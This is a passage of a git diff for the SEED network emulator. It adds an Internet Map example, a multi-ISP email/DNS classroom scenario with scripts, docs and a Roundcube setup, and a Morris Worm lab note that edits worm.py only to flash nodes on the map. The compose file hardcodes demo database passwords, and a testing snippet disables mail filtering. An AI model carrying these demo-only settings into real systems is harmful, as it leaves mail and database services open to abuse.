"borderWidth": 1, + "color": { + "background": "blue" + }, + "size": 50 + } + ``` + +## Morris Worm Attack Lab +For details, please refer to the [link](https://seedsecuritylabs.org/Labs_20.04/Networking/Morris_Worm/) + +worm.py needs to be modified, replace `subprocess.Popen(["ping -q -i2 1.2.3.4"], shell=True)` with the following code + +```python +import json +def set_option_json(): + with open("/option.json", "w") as f: + _option_content = { + 'flash': { + 'static': { + "borderWidth": 2, + "color": { + "background": "yellow" + }, + "size": 20 + } + } + } + json.dump(_option_content, f) + +set_option_json() +subprocess.Popen(["bash /map-plugins/submit_event.sh -a flash -s /option.json"], shell=True) +``` diff --git a/examples/internet/B06_internet_map/internet_map.py b/examples/internet/B06_internet_map/internet_map.py new file mode 100644 index 000000000..b874fed4f --- /dev/null +++ b/examples/internet/B06_internet_map/internet_map.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * +from examples.internet.B00_mini_internet import mini_internet +import os, sys + +############################################################################### +# Set the platform information +script_name = os.path.basename(__file__) + +platform = None +if len(sys.argv) == 1: + platform = Platform.AMD64 +elif len(sys.argv) == 2: + if sys.argv[1].lower() == 'amd': + platform = Platform.AMD64 + elif sys.argv[1].lower() == 'arm': + platform = Platform.ARM64 + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) +else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + +mini_internet.run(dumpfile='./base_internet.bin') + +emu = Emulator() + +# Load the pre-built component +emu.load('./base_internet.bin') + +# Render the emulation +emu.render() + +docker = Docker(platform=platform) + +# Attach the Internet Map container to the emulator +# This API actually calls `attachCustomContainer` +docker.attachInternetMap( + asn=151, net='net0', ip_address='10.151.0.90', node_name='access_node', + port_forwarding='8080:8080/tcp', env=['DEFAULT_ROUTE=10.151.0.254'] +) + +docker.attachInternetMap( + node_name='no_access_node', port_forwarding='8081:8080/tcp', env=['CONSOLE=false'] +) +# Compil the emulation +emu.compile(docker, './output', override=True) diff --git a/examples/internet/B29_email_dns/README.md b/examples/internet/B29_email_dns/README.md new file mode 100644 index 000000000..267598c37 --- /dev/null +++ b/examples/internet/B29_email_dns/README.md @@ -0,0 +1,92 @@ +# B29 Email (DNS-first) + +A realistic multi-ISP, multi-IX email system using DNS-based MX routing with a Roundcube webmail frontend. This is the single source of truth for running and validating the B29 scenario. + +- Internet Map: http://localhost:8080/map.html +- Roundcube: http://localhost:8082 + +## Status +- Clean, internally validated demo scenario (no ad-hoc hot patches). +- Deterministic classroom setup; demo-mode security (DKIM/DMARC/SPF not enforced). + +## Requirements +- Linux host with Docker +- Either docker compose or docker-compose +- Python 3 (no manual PYTHONPATH needed; orchestrator sets it) + +## Quick Start (Integrated) +```bash +cd examples/internet/B29_email_dns + +# Start everything (generate -> up -> accounts -> Roundcube) +bash b29ctl.sh start # auto-detects platform via uname; uses docker compose or docker-compose + +# Cross-domain tests (primary providers only) +bash b29ctl.sh test + +# Cross-domain tests (all six providers) +bash b29ctl.sh test --all + +# Custom test pairs file +cat > pairs.txt << 'EOF' +user@qq.com user@gmail.com +user@gmail.com user@qq.com +user@163.com user@outlook.com +admin@company.cn user@gmail.com +founder@startup.net user@qq.com +EOF +bash b29ctl.sh test --pairs pairs.txt +``` + +## Quick Verify (optional) +- DNS MX from AS-150 cache +```bash +cd examples/internet/B29_email_dns/output +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx qq.com +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx gmail.com +``` + +- Cross-domain (CLI samples) +```bash +# QQ -> Gmail +printf "Subject: QQ->Gmail\n\nHi\n" | docker exec -i mail-qq-tencent sendmail user@gmail.com +# Outlook -> Company (use admin@company.cn) +printf "Subject: Outlook->Company\n\nHi\n" | docker exec -i mail-outlook-microsoft sendmail admin@company.cn +# Startup -> 163 (use founder@startup.net) +printf "Subject: Startup->163\n\nHi\n" | docker exec -i mail-startup-selfhosted sendmail user@163.com +``` + +- Check delivery logs (look for Saved/status=sent) +```bash +cd /home/parallels/seed-email-system/examples/internet/B29_email_dns +for f in \ + output/mail-gmail-google-data/mail-logs/mail.log \ + output/mail-company-aliyun-data/mail-logs/mail.log \ + output/mail-163-netease-data/mail-logs/mail.log +{ do echo "=== $f ==="; [ -f "$f" ] && grep -E "Saved|status=sent" "$f" | tail -n 20 || echo missing; echo; }; done +``` + +- Optional: disable milters at runtime for deterministic tests +```bash +cd output +for c in mail-qq-tencent mail-163-netease mail-gmail-google mail-outlook-microsoft mail-company-aliyun mail-startup-selfhosted; do + docker exec "$c" sh -c "postconf -e smtpd_milters= && postconf -e non_smtpd_milters= && postconf -e milter_default_action=accept && postfix reload" || true +done +cd .. +``` + +- Cross-domain (full matrix) via helper +```bash +cd examples/internet/B29_email_dns +bash b29ctl.sh test --all +``` + +## Cleanup +```bash +cd examples/internet/B29_email_dns +bash b29ctl.sh stop +``` + +## Notes +- Demo-only configuration. Do not use in production. +- Run a single internet-map example at a time to avoid resource/port conflicts. diff --git a/examples/internet/B29_email_dns/b29ctl.sh b/examples/internet/B29_email_dns/b29ctl.sh new file mode 100755 index 000000000..fe11f4cb5 --- /dev/null +++ b/examples/internet/B29_email_dns/b29ctl.sh @@ -0,0 +1,120 @@ +#!/usr/bin/env bash +# Unified controller for B29 Email (DNS-first) example +# Usage: +# bash b29ctl.sh start [--platform arm|amd] +# bash b29ctl.sh stop +# bash b29ctl.sh status +# bash b29ctl.sh test [--all] [--pairs file] +# bash b29ctl.sh generate [--platform arm|amd] +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT_DIR="$(cd "$SCRIPT_DIR/../../.." && pwd)" +OUTPUT_DIR="$SCRIPT_DIR/output" +PLATFORM="auto" # default; override with --platform amd|arm; 'auto' uses uname + +log() { echo -e "[b29ctl] $*"; } + +compose() { + if docker compose version >/dev/null 2>&1; then + docker compose "$@" + elif command -v docker-compose >/dev/null 2>&1; then + docker-compose "$@" + else + echo "docker compose/docker-compose not found" >&2 + return 1 + fi +} + +have_compose() { + if docker compose version >/dev/null 2>&1 || command -v docker-compose >/dev/null 2>&1; then + return 0 + fi + echo "docker compose/docker-compose not found" >&2 + return 1 +} + +b29_generate() { + log "Generating emulation (platform=$PLATFORM) ..." + export PYTHONPATH="$ROOT_DIR:$PYTHONPATH" + python3 "$SCRIPT_DIR/email_realistic.py" "$PLATFORM" + log "Generation complete: $OUTPUT_DIR" +} + +b29_up() { + have_compose || { echo "Please install docker-compose"; exit 1; } + if [ ! -f "$OUTPUT_DIR/docker-compose.yml" ]; then + b29_generate + fi + log "Starting network (compose up -d) ..." + (cd "$OUTPUT_DIR" && compose up -d) + log "Provisioning Roundcube accounts ..." + "$SCRIPT_DIR/manage_roundcube.sh" accounts || true + log "Starting Roundcube ..." + "$SCRIPT_DIR/manage_roundcube.sh" start + log "Done. Map: http://localhost:8080/map.html Roundcube: http://localhost:8082" +} + +b29_down() { + have_compose || { echo "Please install docker-compose"; exit 1; } + log "Stopping Roundcube ..." + "$SCRIPT_DIR/manage_roundcube.sh" stop || true + if [ -f "$OUTPUT_DIR/docker-compose.yml" ]; then + log "Stopping network (compose down) ..." + (cd "$OUTPUT_DIR" && compose down) + else + log "No output/docker-compose.yml; skip network down" + fi + log "Stopped." +} + +b29_status() { + have_compose || true + if [ -f "$OUTPUT_DIR/docker-compose.yml" ]; then + echo "--- Network status ---" + (cd "$OUTPUT_DIR" && compose ps || true) + else + echo "No output/docker-compose.yml yet" + fi + echo "--- Roundcube status ---" + "$SCRIPT_DIR/manage_roundcube.sh" status || true +} + +b29_test() { + # Proxy to run_cross_tests.sh with given args + bash "$SCRIPT_DIR/run_cross_tests.sh" "$@" +} + +# Parse args +CMD="${1:-start}"; shift || true +while [[ $# -gt 0 ]]; do + case "$1" in + --platform) PLATFORM="${2:-arm}"; shift 2;; + *) ARGS+=("$1"); shift;; + esac +done + +case "$CMD" in + start|up) + b29_up + ;; + stop|down) + b29_down + ;; + status) + b29_status + ;; + test) + b29_test "${ARGS[@]:-}" + ;; + generate|gen|build) + b29_generate + ;; + restart) + b29_down; b29_up + ;; + *) + echo "Usage: bash b29ctl.sh {start|stop|status|test|generate|restart} [--platform auto|arm|amd]" + exit 1 + ;; +esac diff --git a/examples/internet/B29_email_dns/docker-compose-roundcube.yml b/examples/internet/B29_email_dns/docker-compose-roundcube.yml new file mode 100644 index 000000000..1f2355c3f --- /dev/null +++ b/examples/internet/B29_email_dns/docker-compose-roundcube.yml @@ -0,0 +1,77 @@ +version: '3.8' + +services: + roundcube-db: + image: mariadb:10.11 + container_name: roundcube-db-b29 + restart: unless-stopped + environment: + - MYSQL_ROOT_PASSWORD=roundcube_root_pass + - MYSQL_DATABASE=roundcubemail + - MYSQL_USER=roundcube + - MYSQL_PASSWORD=roundcube_pass + volumes: + - roundcube-db-data:/var/lib/mysql + networks: + - roundcube-internal + + roundcube: + image: roundcube/roundcubemail:latest + container_name: roundcube-webmail-b29 + restart: unless-stopped + depends_on: + - roundcube-db + environment: + - ROUNDCUBEMAIL_DB_TYPE=mysql + - ROUNDCUBEMAIL_DB_HOST=roundcube-db + - ROUNDCUBEMAIL_DB_NAME=roundcubemail + - ROUNDCUBEMAIL_DB_USER=roundcube + - ROUNDCUBEMAIL_DB_PASSWORD=roundcube_pass + # 默认IMAP服务器(QQ邮箱) + - ROUNDCUBEMAIL_DEFAULT_HOST=mail-qq-tencent + - ROUNDCUBEMAIL_DEFAULT_PORT=143 + # 默认SMTP服务器 + - ROUNDCUBEMAIL_SMTP_SERVER=mail-qq-tencent + - ROUNDCUBEMAIL_SMTP_PORT=25 + # 上传限制 + - ROUNDCUBEMAIL_UPLOAD_MAX_FILESIZE=5M + # 皮肤主题 + - ROUNDCUBEMAIL_SKIN=elastic + # 启用插件 + - ROUNDCUBEMAIL_PLUGINS=archive,zipdownload,managesieve + ports: + - "8082:80" + volumes: + - ./roundcube-config:/var/roundcube/config:ro + - roundcube-www-data:/var/www/html + networks: + - roundcube-internal + - output_net_200_net0 # QQ邮箱 + - output_net_201_net0 # 163邮箱 + - output_net_202_net0 # Gmail + - output_net_203_net0 # Outlook + - output_net_204_net0 # 企业邮箱 + - output_net_205_net0 # 自建邮箱 + +networks: + roundcube-internal: + driver: bridge + # 引用已存在的SEED网络(6个邮件服务商) + output_net_200_net0: + external: true + output_net_201_net0: + external: true + output_net_202_net0: + external: true + output_net_203_net0: + external: true + output_net_204_net0: + external: true + output_net_205_net0: + external: true + +volumes: + roundcube-db-data: + roundcube-www-data: + + diff --git a/examples/internet/B29_email_dns/docs/bgp_audit.md b/examples/internet/B29_email_dns/docs/bgp_audit.md new file mode 100644 index 000000000..1457f94f5 --- /dev/null +++ b/examples/internet/B29_email_dns/docs/bgp_audit.md @@ -0,0 +1,65 @@ +# B29 BGP Audit (AS-204 ↔ AS-205) + +## Context +- Scenario: DNS-first email with six providers across multiple IXes/ISPs. +- Issue: `company.cn` (AS-204) and `startup.net` (AS-205) cannot reach each other. +- Symptom in logs: Postfix defers with "Network is unreachable"; DNS is OK after per-AS caches. + +## Symptoms and Evidence +- Router reachability tests: +```bash +# From AS-204 mail container +docker exec mail-company-aliyun ping -c 2 10.205.0.10 # Destination Net Unreachable + +# From AS-205 mail container +docker exec mail-startup-selfhosted ping -c 2 10.204.0.10 # Destination Net Unreachable +``` +- BIRD route lookups: +```bash +docker exec as204brd-router0-10.204.0.254 birdc show route for 10.205.0.0/24 # Network not found +docker exec as205brd-router0-10.205.0.254 birdc show route for 10.204.0.0/24 # Network not found +``` + +## What the code does (seedemu) + +- `seedemu/layers/Ebgp.py` + - Provider relationship export policy: + - Provider→Customer: `export all` (no filter) + - Customer→Provider: export `LOCAL,CUSTOMER` only + - RS and Peer sessions restrict to `LOCAL,CUSTOMER` on export. +- `seedemu/layers/Ibgp.py` + - iBGP uses loopback neighbors (e.g., `10.0.0.x`) and requires IGP reachability: + ```bird + ipv4 { table t_bgp; import all; export all; igp table t_ospf; }; + local as ; neighbor as ; + ``` +- `seedemu/utilities/Makers.py` + - Transit AS builds per-IX routers (e.g., AS-2 `r100`, `r101`, `r102`, `r103`). + - Adds internal Local networks between IX routers: `net_100_101`, `net_101_102`, `net_102_103`, etc. + +## Likely Root Cause +- iBGP is configured over loopbacks; OSPF must provide reachability for those loopbacks between provider routers. +- Observations: + - `Ibgp` logs show neighbors like `10.0.0.1 <-> 10.0.0.2`, but route table lookups report "Network not found" for customer /24s on other edges. + - This strongly suggests iBGP sessions across AS-2's IX routers may not establish due to missing IGP reachability to loopbacks (OSPF not originating loopback addresses). +- Result: AS-2 learns each customer prefix at the local IX edge, but does not propagate it via iBGP to the other IX edge, so the other customer remains unreachable. + +## Why DNS was fine but mail still failed +- We made per-AS caches authoritative for `company.cn` and `startup.net`, so DNS resolution worked everywhere. +- Without BGP route propagation between AS-204 and AS-205, SMTP could not reach `10.205.0.10` or `10.204.0.10`. + +## Workarounds implemented +- Focus demos on the four primary providers (QQ, 163, Gmail, Outlook) — all flows pass. +- Documented the limitation and options in `README.md` under "Known Issue". + +## Options to fully fix for 204↔205 +- **Add a direct peering:** + - In `email_realistic.py`: `ebgp.addCrossConnectPeering(204, 205, PeerRelationship.Peer)`. +- **Place both customers at the same IX and private-peer there.** +- **Enhance IGP/iBGP:** + - Ensure OSPF originates loopback prefixes so iBGP sessions between AS-2 routers always come up. + - Alternatively, allow iBGP to use IX interface addresses rather than loopbacks (feature request). + +## Conclusion +- The seedemu modules behave as designed for common cases; the limitation appears when relying on multi-IX transit and iBGP over loopbacks without explicit loopback IGP advertisement. +- For teaching/demo, the system is stable and complete using QQ/163/Gmail/Outlook. The 204↔205 case can be a discussion topic on BGP policy and IGP underlay requirements. diff --git a/examples/internet/B29_email_dns/docs/testing_guide.md b/examples/internet/B29_email_dns/docs/testing_guide.md new file mode 100644 index 000000000..4de2c842c --- /dev/null +++ b/examples/internet/B29_email_dns/docs/testing_guide.md @@ -0,0 +1,225 @@ +# B29 Multi-Dimensional Testing Guide + +This guide provides a thorough checklist and runnable commands to validate the B29 DNS-first email example end-to-end, including: DNS, BGP, email flows (intra- and cross-domain), logging/record verification, resilience, and large-scale/roster-based automation. + +- Internet Map: http://localhost:8080/map.html +- Roundcube: http://localhost:8082 + +## 1) Environment pre-checks + +- Containers up (from `B29_email_dns/output/`): +```bash +docker-compose ps +``` +- Roundcube availability: +```bash +curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8082 +``` +- BGP visibility (examples): +```bash +docker exec as100brd-ix100-10.100.0.100 birdc show protocols | grep BGP +docker exec as150brd-router0-10.150.0.254 birdc show route for 10.202.0.0/24 +``` + +## 2) DNS validation + +- Query A and MX records from local DNS cache `10.150.0.53`: +```bash +docker exec as150h-dns-cache-10.150.0.53 nslookup qq.com +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx gmail.com +``` +- NXDOMAIN behavior: +```bash +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx nope.invalid # Expect NXDOMAIN +``` + +## 3) Connectivity checks + +- Ping and traceroute to provider mail IPs (sample): +```bash +docker exec as150h-host_0-10.150.0.71 ping -c 2 10.202.0.10 +# traceroute may require installing: busybox/traceroute is included in base images +``` +- Visualize via Internet Map (see the link at top). + +## 4) Email flows (manual) + +- Intra-domain (e.g., qq.com to qq.com): +```bash +printf "Subject: intra QQ test\n\nBody\n" | docker exec -i mail-qq-tencent sendmail user@qq.com +``` +- Cross-domain (e.g., Gmail -> QQ): +```bash +printf "Subject: Gmail->QQ $(date +%s)\n\nBody\n" | docker exec -i mail-gmail-google sendmail user@qq.com +``` +- Verify delivery from logs (look for LMTP Saved or INBOX stored): +```bash +docker logs --since 3m mail-qq-tencent | egrep -i "to=|stored mail into mailbox 'INBOX'|status=sent|lmtp" +``` + +Notes: +- Subjects include a timestamp token to help correlate with logs. +- If needed, grep by `message-id=<...>` which appears in cleanup logs. + +## 5) Batch cross-domain tests + +Use the batch script to exercise multiple flows and get a summary. + +- Defaults: +```bash +cd /home/parallels/seed-email-system/examples/internet/B29_email_dns +./run_cross_tests.sh +``` +- Custom flows file (one "from to" pair per line, `#` for comments): +```bash +cat > pairs.txt << 'EOF' +user@qq.com user@gmail.com +user@gmail.com user@qq.com +user@163.com user@outlook.com +# intra-domain samples +user@qq.com user2@qq.com +EOF +./run_cross_tests.sh --pairs pairs.txt | tee batch_results.txt +``` +- The script ensures accounts exist before sending and polls logs up to ~20s for LMTP Saved evidence. + +## 6) Resilience tests + +- Restart and resend (Gmail -> QQ example): +```bash +docker restart mail-gmail-google +sleep 3 +printf "Subject: Gmail->QQ (after-restart) $(date +%s)\n\nBody\n" | docker exec -i mail-gmail-google sendmail user@qq.com +# Verify Saved in QQ logs +docker logs --since 3m mail-qq-tencent | egrep -i "Saved|INBOX|to=|lmtp" +``` + +## 7) Large-scale | quantity-based automation + +For quickly adding many providers or simulating a larger email network (without DNS), use the colocated transport-map generator. + +- Generate providers under `tools/output/`: +```bash +cd /home/parallels/seed-email-system/examples/internet/B29_email_dns +PYTHONPATH=/home/parallels/seed-email-system:$PYTHONPATH \ + python \ + tools/email_autogen.py --platform arm --providers 8 --asn-start 150 +``` +- Start the network (separate from B29 main `output/`): +```bash +cd tools/output && docker-compose up -d +``` +- Provision many accounts (examples): +```bash +# 100 accounts on company.cn (zero-padded) +python tools/bulk_accounts.py --generate --count 100 --prefix user --domain company.cn --pad 4 + +# For autogen domains (e.g., seedemail.net), map domain->container if needed +python tools/bulk_accounts.py --generate --count 50 --prefix user --domain seedemail.net \ + --containers seedemail.net=mail-seedemail-net +``` +- Tear down when done: +```bash +cd tools/output && docker-compose down +``` + +## 8) Roster-based automation (CSV) + +Use `tools/bulk_accounts.py` to import a class roster or any email list. + +- Preferred: email-only CSV +``` +email +alice@zju.edu.cn +bob@zju.edu.cn +``` +- If you want to map a real school domain to an internal provider for testing: +```bash +python tools/bulk_accounts.py --csv tools/sample_class.csv --domain-map zju.edu.cn=company.cn +``` +- If your CSV uses IDs only (no emails), set a default domain: +```bash +# CSV: just IDs per line (or first column) -> default domain applied +python tools/bulk_accounts.py --csv ids.csv --default-domain zju.edu.cn +``` +- With autogen/custom providers: +```bash +python tools/bulk_accounts.py --csv emails.csv \ + --containers zju.edu.cn=mail-zju-edu-cn +``` + +Notes: +- In many universities, both students and teachers share the same email suffix (e.g., `@zju.edu.cn`). You don’t need to distinguish roles; use the same domain for all recipients. +- Real external providers like `gmail.com` and `outlook.com` already exist in B29; you can generate or import accounts for them directly. + +## 9) Logging and record verification + +- Tail recent logs for a provider and grep by recipient or tokens: +```bash +docker logs --since 5m mail-163-netease | egrep -i "message-id|status=sent|Saved|INBOX|lmtp|to=" +``` +- Check Postfix queue if needed: +```bash +docker exec -it mail-qq-tencent postqueue -p +``` + +## 10) Extending with custom domains + +For classroom realism (e.g., `zju.edu.cn`, `tsinghua.edu.cn`, `pku.edu.cn`): +- Quick path: keep B29 DNS-first core as-is; use `tools/email_autogen.py` to spin additional providers (transport-map) with your chosen domains. +- Account provisioning: map the school domains to autogen containers via `--containers`, or use `--domain-map` to map to an existing B29 domain like `company.cn`. + +If you need to permanently add a domain into the DNS-first B29 core, you’ll need to update `email_realistic.py` in: +- `configure_mail_servers()` to add the provider (name, domain, ASN, IPs, ports) +- `configure_dns_system()` to add A/MX, authoritative NS, and binding +- `configure_bgp_peering()` to transit-peer the new AS with an ISP + +## 11) Capturing results for grading / reports + +- Save batch results to a file: +```bash +./run_cross_tests.sh --pairs pairs.txt | tee batch_results.txt +``` +- Record environment info: +```bash +docker-compose ps +birdc show protocols | grep BGP +``` + +--- + +This guide intentionally mirrors real-world mail routing and validation workflows while staying pragmatic for teaching and demonstrations. + +## 12) DNS pre-heating and fallback (per-AS caches) + +DNS lookups may transiently fail immediately after bring-up while BIND and caches warm up. In B29 we deploy per-AS local DNS caches for each provider (e.g., `10.200.0.53` for AS-200) so providers never depend on cross-AS reachability to `10.150.0.53`. + +- Design + - Each provider AS has a local cache at `10.{ASN}.0.53`. + - These caches forward only the six mail zones to their authoritative NS: `qq.com.`, `163.com.`, `gmail.com.`, `outlook.com.`, `company.cn.`, `startup.net.` + - The central cache `10.150.0.53` can also serve authoritative zones for the same domains as a fallback. + +- Quick verification (per-AS caches) +``` +# From QQ provider cache (AS-200): +docker exec as200h-dns-cache-10.200.0.53 nslookup -type=mx gmail.com 127.0.0.1 +# From Gmail provider cache (AS-202): +docker exec as202h-dns-cache-10.202.0.53 nslookup -type=mx qq.com 127.0.0.1 +``` + +- Quick verification (central cache authoritative) +``` +# MX must resolve for all six mail domains +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx gmail.com +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx qq.com +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx 163.com +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx outlook.com +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx company.cn +docker exec as150h-dns-cache-10.150.0.53 nslookup -type=mx startup.net +``` + +- Troubleshooting SERVFAIL + - Validate zone files: `named-checkzone /etc/bind/zones/.zone` + - Ensure records use FQDNs (avoid `$ORIGIN`/`@` if unsure about context). + - Restart named after fixes: `service named restart` + - Re-try the MX queries above. diff --git a/examples/internet/B29_email_dns/email_realistic.py b/examples/internet/B29_email_dns/email_realistic.py new file mode 100644 index 000000000..21297ae54 --- /dev/null +++ b/examples/internet/B29_email_dns/email_realistic.py @@ -0,0 +1,517 @@ +#!/usr/bin/env python3 +""" +SEED 邮件系统 - 真实版本 (29-1-email-system) +集成DNS系统,模拟真实邮件服务提供商 +""" + +import sys +import os +from seedemu.layers import Base, Routing, Ebgp, Ibgp, Ospf, PeerRelationship +from seedemu.services import DomainNameService, DomainNameCachingService +from seedemu.services.EmailService import EmailService +from seedemu.compiler import Docker, Platform +from seedemu.core import Emulator, Binding, Filter, Action +from seedemu.utilities import Makers + +def create_realistic_network(emu): + """创建更真实的网络拓扑""" + + # 基础网络层 + base = Base() + + # 创建多个Internet Exchange (更接近现实) + ix_beijing = base.createInternetExchange(100) # 北京IX + ix_shanghai = base.createInternetExchange(101) # 上海IX + ix_guangzhou = base.createInternetExchange(102) # 广州IX + ix_overseas = base.createInternetExchange(103) # 海外IX (模拟国际互联) + + # 设置IX显示名称 + ix_beijing.getPeeringLan().setDisplayName('Beijing-IX-100') + ix_shanghai.getPeeringLan().setDisplayName('Shanghai-IX-101') + ix_guangzhou.getPeeringLan().setDisplayName('Guangzhou-IX-102') + ix_overseas.getPeeringLan().setDisplayName('Global-IX-103') + + # 创建多个Transit AS (ISP) - 使用有效的AS号码范围 + # AS-2: 中国电信 (连接所有IX) + Makers.makeTransitAs(base, 2, [100, 101, 102, 103], + [(100, 101), (101, 102), (102, 103), (100, 103)]) + + # AS-3: 中国联通 (主要服务北方) + Makers.makeTransitAs(base, 3, [100, 101], [(100, 101)]) + + # AS-4: 中国移动 (移动网络接入) + Makers.makeTransitAs(base, 4, [100, 102], [(100, 102)]) + + # 创建真实邮件服务提供商 (使用Makers简化创建) + + # AS-200: QQ邮箱 (腾讯) - 深圳 + Makers.makeStubAsWithHosts(emu, base, 200, 102, 3) # 广州IX + + # AS-201: 163邮箱 (网易) - 杭州 + Makers.makeStubAsWithHosts(emu, base, 201, 101, 3) # 上海IX + + # AS-202: Gmail (Google) - 海外 + Makers.makeStubAsWithHosts(emu, base, 202, 103, 3) # 海外IX + + # AS-203: Outlook (Microsoft) - 海外 + Makers.makeStubAsWithHosts(emu, base, 203, 103, 3) # 海外IX + + # AS-204: 企业邮箱 (阿里云) + Makers.makeStubAsWithHosts(emu, base, 204, 101, 2) # 上海IX + + # AS-205: 自建邮件服务器 (小公司) + Makers.makeStubAsWithHosts(emu, base, 205, 100, 2) # 北京IX + + # 创建客户端网络 (使用较小AS号) + # AS-150: 北京用户(同时部署DNS基础设施 - 需要更多主机) + Makers.makeStubAsWithHosts(emu, base, 150, 100, 7) # 增加主机数以部署DNS服务器 + + # AS-151: 上海用户 + Makers.makeStubAsWithHosts(emu, base, 151, 101, 4) + + # AS-152: 广州用户 + Makers.makeStubAsWithHosts(emu, base, 152, 102, 4) + + # AS-153: 企业内网用户 + Makers.makeStubAsWithHosts(emu, base, 153, 100, 5) + + return base + +def configure_bgp_peering(ebgp): + """Configure BGP peerings""" + + print("🔗 Configuring BGP peerings...") + + # ISP之间的对等(在IX上) + # AS-2, AS-3, AS-4通过Route Server对等 + ebgp.addRsPeers(100, [2, 3, 4]) # Beijing-IX + ebgp.addRsPeers(101, [2, 3]) # Shanghai-IX + ebgp.addRsPeers(102, [2, 4]) # Guangzhou-IX + ebgp.addRsPeers(103, [2]) # Global-IX + + # ISP为邮件服务商提供Transit服务(Provider关系) + ebgp.addPrivatePeerings(102, [2], [200], PeerRelationship.Provider) # QQ - 电信 + ebgp.addPrivatePeerings(101, [2], [201], PeerRelationship.Provider) # 163 - 电信 + ebgp.addPrivatePeerings(103, [2], [202], PeerRelationship.Provider) # Gmail - 电信 + ebgp.addPrivatePeerings(103, [2], [203], PeerRelationship.Provider) # Outlook - 电信 + ebgp.addPrivatePeerings(101, [2], [204], PeerRelationship.Provider) # 企业 - 电信 (改为电信以确保与AS-205互通) + ebgp.addPrivatePeerings(100, [2], [205], PeerRelationship.Provider) # 自建 - 电信 + + # ISP为客户网络提供Transit服务 + ebgp.addPrivatePeerings(100, [2, 3], [150], PeerRelationship.Provider) # 北京用户 - 电信+联通 + ebgp.addPrivatePeerings(101, [2], [151], PeerRelationship.Provider) # 上海用户 - 电信 + ebgp.addPrivatePeerings(102, [4], [152], PeerRelationship.Provider) # 广州用户 - 移动 + ebgp.addPrivatePeerings(100, [2], [153], PeerRelationship.Provider) # 企业用户 - 电信 + + print("✅ BGP peering configuration complete") + print(" - ISP interconnect: AS-2, AS-3, AS-4 via route servers") + print(" - Mail providers: 6 AS connected via ISPs") + print(" - Customer networks: 4 AS connected via ISPs") + +def configure_dns_system(emu, base): + """Configure full DNS system (authoritative + caches)""" + + print("🌍 Configuring DNS system...") + + # 创建DNS服务层 + dns = DomainNameService() + + # 1. 创建Root DNS Servers(根域名服务器) + dns.install('a-root-server').addZone('.').setMaster() + dns.install('b-root-server').addZone('.') + + # 2. 创建TLD DNS Servers(顶级域名服务器) + dns.install('ns-com').addZone('com.').setMaster() # .com TLD + dns.install('ns-net').addZone('net.').setMaster() # .net TLD + dns.install('ns-cn').addZone('cn.').setMaster() # .cn TLD (中国) + + # 3. 为每个邮件服务商创建域名服务器 + # QQ邮箱 (qq.com) + dns.install('ns-qq-com').addZone('qq.com.').setMaster() + dns.getZone('qq.com.').addRecord('@ A 10.200.0.10') + dns.getZone('qq.com.').addRecord('@ MX 10 mail.qq.com.') + dns.getZone('qq.com.').addRecord('mail A 10.200.0.10') + + # 163邮箱 (163.com) + dns.install('ns-163-com').addZone('163.com.').setMaster() + dns.getZone('163.com.').addRecord('@ A 10.201.0.10') + dns.getZone('163.com.').addRecord('@ MX 10 mail.163.com.') + dns.getZone('163.com.').addRecord('mail A 10.201.0.10') + + # Gmail (gmail.com) + dns.install('ns-gmail-com').addZone('gmail.com.').setMaster() + dns.getZone('gmail.com.').addRecord('@ A 10.202.0.10') + dns.getZone('gmail.com.').addRecord('@ MX 10 mail.gmail.com.') + dns.getZone('gmail.com.').addRecord('mail A 10.202.0.10') + + # Outlook (outlook.com) + dns.install('ns-outlook-com').addZone('outlook.com.').setMaster() + dns.getZone('outlook.com.').addRecord('@ A 10.203.0.10') + dns.getZone('outlook.com.').addRecord('@ MX 10 mail.outlook.com.') + dns.getZone('outlook.com.').addRecord('mail A 10.203.0.10') + + # 企业邮箱 (company.cn) + dns.install('ns-company-cn').addZone('company.cn.').setMaster() + dns.getZone('company.cn.').addRecord('@ A 10.204.0.10') + dns.getZone('company.cn.').addRecord('@ MX 10 mail.company.cn.') + dns.getZone('company.cn.').addRecord('mail A 10.204.0.10') + + # 自建邮箱 (startup.net) + dns.install('ns-startup-net').addZone('startup.net.').setMaster() + dns.getZone('startup.net.').addRecord('@ A 10.205.0.10') + dns.getZone('startup.net.').addRecord('@ MX 10 mail.startup.net.') + dns.getZone('startup.net.').addRecord('mail A 10.205.0.10') + + # 4. 为权威DNS创建专用新主机(Action.NEW),确保 bind9 安装与启动 + # AS-150: root 与 TLD 使用独立专用主机 + emu.addBinding(Binding('^a-root-server$', action=Action.NEW, filter=Filter(asn=150, nodeName='dns-auth-root-a'))) + emu.addBinding(Binding('^b-root-server$', action=Action.NEW, filter=Filter(asn=150, nodeName='dns-auth-root-b'))) + emu.addBinding(Binding('^ns-com$', action=Action.NEW, filter=Filter(asn=150, nodeName='dns-auth-com'))) + emu.addBinding(Binding('^ns-net$', action=Action.NEW, filter=Filter(asn=150, nodeName='dns-auth-net'))) + emu.addBinding(Binding('^ns-cn$', action=Action.NEW, filter=Filter(asn=150, nodeName='dns-auth-cn'))) + + # 各提供商 AS: 为各自域创建专用权威主机 + emu.addBinding(Binding('^ns-qq-com$', action=Action.NEW, filter=Filter(asn=200, nodeName='dns-auth-qq'))) + emu.addBinding(Binding('^ns-163-com$', action=Action.NEW, filter=Filter(asn=201, nodeName='dns-auth-163'))) + emu.addBinding(Binding('^ns-gmail-com$', action=Action.NEW, filter=Filter(asn=202, nodeName='dns-auth-gmail'))) + emu.addBinding(Binding('^ns-outlook-com$', action=Action.NEW, filter=Filter(asn=203, nodeName='dns-auth-outlook'))) + emu.addBinding(Binding('^ns-company-cn$', action=Action.NEW, filter=Filter(asn=204, nodeName='dns-auth-company'))) + emu.addBinding(Binding('^ns-startup-net$', action=Action.NEW, filter=Filter(asn=205, 